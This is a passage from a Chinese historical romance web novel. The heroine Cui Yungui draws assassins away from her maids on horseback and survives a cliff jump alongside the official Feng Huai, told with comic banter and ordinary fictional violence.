崔云归对自己去注生观的事没有隐瞒,轻而易举的,魏麟就知道她的动向。
得到结果后,魏麟觉得稀罕,前世他们多年未孕有子嗣,上峰的夫人与崔云归交好,便常邀他们夫妻二人一同去寺庙求子,崔云归盛情难却,每每都硬着头皮去寺庙,去了却也不跪送子娘娘,魏麟由此认为她是不信神佛之说的,怎么他这重开一世,崔云归不是今日去寺庙就是明日去道观?
他当然不知道崔云归前世自得知弟、妹死讯后就终日吃斋念佛面,他只爱崔云归的不争不抢,爱崔云归的卑微温顺,爱崔云归带来的庞大财富,他的爱浮与表面,浅显的令人发指。
崔家出来的丫鬟,对崔云归的服从性比对魏麟要来的多得多,魏麟的话是早上问的,晚上崔云归就传就了崔云归的耳朵里,崔云归对此表现的漠不关心,不管刮风下雨,依旧往注生观跑。
刚开始去,崔云归虔诚的跪在三清真人面前把魏家人颠来倒去的诅咒了个遍,咒了一两日,念的崔云归嘴角都起皮了,已经咒无可咒了,崔云归的鞋底与地面在真人像前脱了胶,她开始在观里左逛右荡,逛了三日,她已经给观里每棵树都取好了名字,并且闭上眼睛摸着树干就能说出这棵树是妃妃还是湘湘亦或是爱爱……
无聊,实在是无趣。
又消磨了一日的时光,崔云归在红
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日坠西前登上了回家的马车,她盯着马车的棚顶思考着明日要不要来的问题,想的太入神了一不小心就把自己的心里话说了出来。
“注生观还不如家中的后院大,姑娘接连逛了几日,是该觉得无趣了。”
这句小声嘟囔的无趣可是狠狠的戳中了秋收的心,注生观人迹罕至,香客稀少,没有香油钱就必然不能扩建道观,是以注生观就那么破大点地方,既无繁花又无奇景,当真是无趣极了。
“姑娘,明日还来吗?”
冬藏捧着装干果的木匣子,两颊鼓鼓囊囊的发表自己的疑问。
她猜测,明日姑娘应当是不来的。不来也好,天天坐马车走山路,颠的她腰疼。
崔云归仰起脑袋,抖落着锦帕盖在脸上,这是一个好问题。
明天究竟来不来,很值得考量。
难不成前两次暗杀失手造成那些人内部伤亡惨重,所以他们短时间内偃旗息鼓了?
没得出来不来的结果,崔云归就不着边际的漫天撒癔症。猝然间,马车停住,车窗被人从外面叩响,崔云归倏忽抬头,锦帕随着她的动作掉落下来,最终又落到崔云归手中。
车窗外是崔云归请的护卫,是她特意托表兄请来的镖局里的兄弟,有十多年押镖的经验,任何风吹草动都逃不过他的眼睛。
发生了什么崔云归早有预见,她掀起车帷,毫不意外的听到了护卫道:
“姑娘,前面山林中有人。”
还纠结什么明日去不去?今日了结了她这几年都不再踏足这条路!
崔云归当机立断:“把马给我,你下来赶车带着她们三个人走另一条路下山去。”
这个方案一说出口就被冬藏她们排除在外。
“姑娘……”秋收和冬藏一人抓着崔云归一只胳膊,上次她们也是在山林里预见匪寇。
“不行!姑娘,我不走!我们走了你怎么办?”
冬藏吓的把干果匣子都丢了,还强装镇定的圈住崔云归的手臂表明自己的立场,秋收也紧随其后:
“我也不走,我要陪着姑娘,死也要和姑娘死在一起!”
许是待在道观太久了,崔云归的心灵已经被三清真人普照了,她下意识的想说这些生生死死都是不吉利。
只是话到嘴边绕了一圈又吞了回去,一手拍一个安慰道:
“别怕,那些人是为我来的,他们想杀我不是一次两次了,我早就想揪出幕后主使出来。”
她说完,冬藏二人还是不放手,崔云归认命的开始给她们讲述她以身饲虎大无畏精神背后的阴谋诡计。
“上两次救我的少侠在朝廷当差,我与他约定好了,他已在林中布好了天罗地网,若只有我一人,保全我之后他便可以动手,现在我们这么多人聚在一起反而难办——到时候我将他们引到偏远一些的位置,你们赶紧跑,跑到山下就去找舅舅。”
“可是……”
可是姑娘你不会骑马……
不待她们说完,崔云归抢先接话,给自己多点鼓舞。
“别可是了,你们姑娘我两次虎口脱险,想来是得老天厚爱的,此次我定然也会平安归来!”
可不是得老天厚爱,死去重来这种好事都能落到她头上来。
崔云归打定主意,雷厉风行的爬上了马,驱着率先往相反的地方去了,因为要让那些人看清骑马的人是她,所以帷帽就被崔云归丢在了马车上。
她行动迅速,她特意寻来的护卫也不拖沓,敏捷的跳上马车把旺来挤到一边,驾着马车往侧面的小路上跑。
29.阴沟翻船
他们一行人兵分两路后,崔云归独乘一骑把身后穷追猛打的人往偏远的地方引。
崔云归边骑边往后看,在已经看不到身后那群人后她不放心的又往前骑了一大段路后才停了下来。
停下后,她摸出一个竹筒出来,这是凤淮给她的烟火,那日他们约定好,只要崔云归放了这个烟花,藏匿在暗处属于凤淮的部下就会巡声而来。
这是个冒险的举动,极有可能在逃脱的情况下再次暴露自己,但崔云归彼时对凤淮充满了信任,于是没有半分犹豫就放了。
她警戒的扫视着四周,聚精会神,耳听六路眼观八方,因为崔云归压根不知道敌军友军哪一个会先到。
遽然间,迎面跑来了一群人,距离太远,崔云归有些看不清。她眯起眼睛,模糊之间看见一个白衣郎君后面跟着一堆与追在她身后一样穿着的黑衣人。
那群人移动的速度极快,尤其是为首身着白衣那人可谓是腿脚生风。不消一会儿,崔云归便可隐约看清他脸的轮廓,凭着女人的第六感,崔云归越看越不对劲。
为首那个白衣郎君为何长得和挟恩图报的那人有几分相似?
崔云归脑海中迅速形成了一个朦胧的猜想,她直感不妙,毫不含糊的揪住缰绳向着密林那边调转马头,意图趁两边人都没追上来提前把自己藏起来。
很遗憾,为首的那个人看到了她,更加快了脚步朝着她奔来。
但所谓福无双至,祸不单行,崔云归着急的额角都沁出了冷汗,在这紧要关头这匹马就是不受她的控制,非但如此,这马还冲着兜面相撞的那群人疾如雷电般的狂奔过去。
“……”
崔云归发誓,今日大难逃脱之后她明日必然去请表妹周意浓教她骑术!
发誓学归发誓学,现在的她确实还不能奈这匹不听话的马如何,只能抱着马脖子任它撒开四蹄狂奔。
跑的崔云归三魂吹没了七魄后,白衣郎君和崔云归骑的这匹马迎来了独属于他们一人一马的双向奔赴。
“夫人,多有得罪,可否与我共乘一骑?”
虽是询问的语气但凤淮丝毫没有准备让崔云归回答的意思,抓住缰绳就翻身上了马。
崔云归面冷心热,即使对凤淮言无信让她如今陷入危险境地的行为感到气恨,也做不出在这种要命的时刻把凤淮赶下马让他自生自灭的事。
但她实在气的慌,急需找到一个情绪的宣泄口,打自己舍不得,打凤淮又打不过,只有底下这匹看人下菜碟的马,崔云归怎么拉都不转,凤淮轻轻一勒缰绳它便服从指令转向密林奔去,于是巴掌顺理成章的落在了马脖子上。
“……吃里扒外!”
凤淮觉得这样好玩,于是维持着稍空出一丝间隙的姿势炫技般的随意操控马匹进发的方向。
“……”
这一切都被崔云归尽收眼底,她无言以对,双手死死拉住缰绳,全然不在意坐在马背后把她半包围的凤淮。
相比于凤淮的刻意,崔云归随意的多,她自始认为生死面前,男女大防事小。
两人同是天涯沦落人,如今真正是一根绳上拴着的蚂蚱,谁也别笑话谁,谁丢不下谁,默契沉默不语,一昧的从阎王手上抢他们的小命。
不知道是因为这次刺杀的人更厉害一些还是因为密林的路不好走,亦或是马要承载两个人的重量所以走不快,总之结果就是崔云归二人没有摆脱充当勾魂无常的黑衣人。
常言道,天无绝人之路,这句话确实不错,但崔云归看着前方的万丈悬崖觉得此句后面应当再加上一句老天爷也许会把另一条绝路指引给你。
“咈哧”一声,身下的骏马长嘶一声,两只前蹄高高扬起,崔云归头皮发麻,竟觉眼前开始一阵一阵发黑。
因为凤淮的一个错误选择,他们现在在悬崖边上,若非刚才凤淮反应及时,他们两人连同着一匹马现在已经掉下去死无全尸了。
待马站住脚,凤淮从马上翻下来,他回头,入目的是马上追上来的一群黑衣人。
“老天不眷顾,前面没路了。”
没有人能搭把手,崔云归闭着眼趴在马背上把稳的反复试探着翻身下马,正手足无措,猝不及防的就听到了凤淮的这么一句若有所感,这句话给她一种熟悉的感觉,若没记错,貌似她今日大言不惭的说过她是得老天厚爱的人……
可怜的小崔心理上感觉挨了老天好大一个巴掌,经过反复试探,小崔终于爬下了马背。
没错,是爬。
崔云归惊疑不定,耳边突然传来一声被压的很细很低的笑声,崔云归漠然的掀起眼帘斜剜了凤淮一眼。
她不明白,在外人面前她一直都是仪态端庄,傲雪凌霜的大家闺秀,怎么在这人面前她的举止一次盛过一次的狼狈、猥琐?
丢脸怎么还只对着一个人丢?!
崔云归不敢睁开眼,希望是她的幻觉。
但不睁眼是不可能的,崔云归抬头看到了凤淮的脸,她左右环视了一周,除去慢慢向他们围拢的黑衣人,未见半个凤淮那日晚上承诺用来护她周全的精兵强将。
崔云归简直又想把眼睛闭上,但时机不允许,那些黑衣人虎视眈眈的目光深深的胁迫着崔云归眼都不能眨一下,穷途末路之际,崔云归抓住残存着的最后一丝希冀,她拨开垂在脸侧的发丝看向凤淮:
“大人的人呢?!”
凤淮扭转过脖子,无辜的望向崔云归的眼睛里,鲜红的薄唇微微上翘:
“显而易见,他们没来。”
“……”不是,他怎么可以理所当然成这样?!
崔云归清冷的面容上有一丝皲裂,天知道她费了多少功夫才让自己的巴掌没有扇到凤淮那张脸上去。
身在苦海,唯有自渡,沦落困境,唯有自救,崔云归彻底对凤淮丧失了信任,她眼珠转动,睫毛异于平常的快速煽动着,如前几次陷入困境一般竭力寻求逃脱之道。
“夫人,你怕高吗?”
“嗯?”
崔云归正搜肠刮肚想着谈判的筹码,忽然一张俊俏无一处瑕疵的脸措手不及的在她面前放大。
崔云归没有准备,下意识的便要后退一步,凤淮刚才说的话也终于在她脑子里绕出圈来,她警觉的看着凤淮,生怕他一个冲动要带她跳崖,于是大声喊道:
“怕!”
但为时已晚,凤淮没给她这个机会,微微矮身,手绕过她的膝弯就把她腾空抱了起来,非常冰冷的吐出毫无感情的两个字来:
“别怕。”
“……”
所以呢?她该痛哭流涕、感恩戴德吗?
身体突然的腾空让崔云归脑袋里一片空白,凤淮压根不给崔云归反应的时间,如崔云归所惧怕的那样带着她跳了下去。
悬崖自下而上的罡风与无限坠落的失重感吓的崔云归脸色煞白,她躲避似的闭上眼,将脸侧向凤淮怀中,满心眼里只有两个字:
完了!
就这样坠落了
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一阵,忽然,崔云归觉得那种不可控制的失重感消失了,吹打在身上的风虽然还是一如既往的大,但好似风向有了些许的变化,不再是从下而上灌来。
崔云归犹疑不定,做了好一番心里建设才将眼睛睁开一条细缝,只见自己此时正站在悬崖中一块凸出的石台边上,石台里面是一个深不见底的山洞。
脚落到了实处,崔云归吊起的心被摁回肚子里,她从凤淮怀里退开,无意之间看到了下面的万丈深渊,只一刻,心悸都是感觉卷土重来,崔云归吓得腿脚发软,踉跄着往前走了几步,直至走到了山洞里面才放心瘫软在地。
凤淮似乎没料到崔云归会这样惧怕,他对崔云归的印象大全部来自温序秋那一封封记录她一举一动的密报,小部分来源于他从刀下救下她的那两次,事实上,无论是温序秋的密报,还是他亲眼所见,凤淮都认为崔云归是个胆大包天的女子,有着超越当代闺阁姑娘的胆识,有一种说不上来的特别。
大抵是世人都为反差着迷,凤淮也不例外。如今他看她竟因为畏高而被吓的站都站不稳,像是勇猛者忽然表露出的怯懦,凤淮眉尾一扬,不由自主的就生出了些逗弄崔云归的意思。
他恶趣味走到崔云归面前蹲下,崔云归适时抬头,凤淮从她那双犹如被春雨洗过的眼眸中清晰的看到了他的倒影,鬼使神差般,那些准备调侃她的话都噎在了喉咙里。
怔愣之间,崔云归突然发力扯过他,凤淮不备,他哪里料的到崔云归浑身发着抖还有这么大的力气,所以脚下一个歪斜就顺着崔云归的力道向她倒去。
再说崔云归,她本就晕高腿软,凤淮再怎么瘦但总归是个男子,他这一倒成功的就把崔云归压在身下。
好沉!
崔云归被这结结实实的一压压的眼冒金星,但朝他们两头上砍下来的那把刀貌似给不了她过多的反应时间。
在危机时刻,崔云归总能爆发出无限潜力,她扳着凤淮的头往她颈侧压,同时腰腹用力带着他往旁边滚了一周。
凤淮幼时身体羸弱,他的父亲母亲为锻炼他,在凤淮刚会跑是便把他丢山里习武去了。多年锻炼下来,不仅是身体,耳力也是常人所不可及。
空气里刀刃破空声没人比他更熟悉,所以他在崔云归把他头摁在颈侧时便顺从配合。
翻转之间,二人的体/位就变了一番,黑衣人的砍刀落下,凤淮将崔云归从身上推了下去,一个鲤鱼打挺将黑衣人蹬了出去。
这地方本来就不大,凤淮那一脚又不轻,黑衣人受不住力,直接被那一脚蹬的半只脚站在石台边缘扑腾着手保持平衡。
只需再退半步,他就掉下了无尽深渊。
崔云归趁他病要他命,顾不得手掌心被石粒擦破的伤口,站起来搬起一块石头瞄准黑衣人往他上抡。
她瞄的很有准头,石头直接砸在黑衣人的腿上,将那他未退的那半步给他补上。
“……”
凤淮收回本要送黑衣人下去的脚,上下把崔云归看了一遍,欲言又止。
“不必言谢。”
崔云归明亮的眼眸中透出几分凌厉,宛如傲立在雪山之巅扎眼的红梅。
凤淮扯了下唇,似笑非笑的盯着崔云归的脸看,语调拉的又长又慢:
“夫人,你的头发乱了。”
“……”现在是说这个的时候吗?!
崔云归愤愤的扒拉两下头发,决定让凤淮独自一个人去解决下饺子般从上方跳下来的黑衣人。